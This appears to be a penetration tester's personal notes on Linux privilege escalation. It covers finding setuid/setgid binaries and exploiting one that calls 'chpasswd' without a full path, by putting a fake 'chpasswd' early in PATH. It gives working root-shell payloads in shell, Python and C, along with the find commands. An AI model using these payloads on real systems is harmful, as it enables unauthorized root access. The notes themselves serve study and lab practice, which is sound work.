setuid, setgid#
4000(setuid) perm means the binary runs with that binary’s owner’s permission,2000(setgid) perm means the binary runs with that binary’s group’s permission For example, if the binary is owned byroot:rootand hassetuidandsetgidcap, it means when you execute the binary, it runs withroot:rootprivilege
Find binaries with such capability:
find / -type f \( -perm -4000 -o -perm -2000 \) -writable -ls 2>/dev/nullOr just setuid
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullOr just setgid
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/nullExample#
This example will be used throughout the exploit steps. Read carefully
The executable name is resetpass, it has setuid and setgid bit in it and is owned by root:root. it basically executes a shell command to change a user’s password, but:
- It uses
echo.echois a shell built in fuction, so we can’t path injectecho, so we can only path injectchpasswd - It pipes into
chpasswd. So if we path injectchpasswdto makechpasswdan executable that executesbashinstead, bash will seeuser:passas a command, executes that and exit. This is not good for use, we need a shell.
system("echo 'user:pass' | chpasswd");Exploit#
Executable shell script#
This is usually my go-to. First create the chpasswd file in /tmp
vim /tmp/chpasswdWrite this into the file
#!/bin/sh
/bin/bash < /dev/ttyMake the script executable
chmod +x /tmp/chpasswdChange PATH variable. This will make sh searches for chpasswd in /tmp directory first
export PATH=/tmp:$PATHRun the target executable
./resetpassExecutable python script#
In case the above one does not work, it’s probably because we did not use
setuidand/orsetgid, we don’t have a native linux binary to changeuidandgidafter all. This is very useful when you have a binary that hascap_setuidand/orcap_setgid. The binary has the capbability, but unless the binary explicitly changegidand/oruid, it won’t run asrootI’m not sure if capability works with path injection, need test, but for now, i will just put it here
Luckily, we can use setuid and setgid in python
vim /tmp/chpasswdPut this in as content
#!/usr/bin/python3
import os
#import pty
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")
#pty.spawn("/bin/bash")Make the script executable
chmod +x /tmp/chpasswdChange PATH variable. This will make sh searches for chpasswd in /tmp directory first
export PATH=/tmp:$PATHRun the target executable
./resetpassExecutable binary#
We can compile this C code into executable, rename it to chpasswd, transfer to target machine
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main() {
setuid(0);
setgid(0);
int fd = open("/dev/tty", O_RDONLY);
dup2(fd, STDIN_FILENO) < 0;
execl("/bin/bash", "bash", NULL);
return 0;
}Or this, way shorter
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-c", "bash < /dev/tty");
return 0;
}Complile the exploit and rename it to chpasswd
gcc a.c -o chpasswdTransfer to target machine
Change PATH variable. This will make sh searches for chpasswd in current directory first
export PATH=$PWD:$PATHExecute the target executable
./resetpass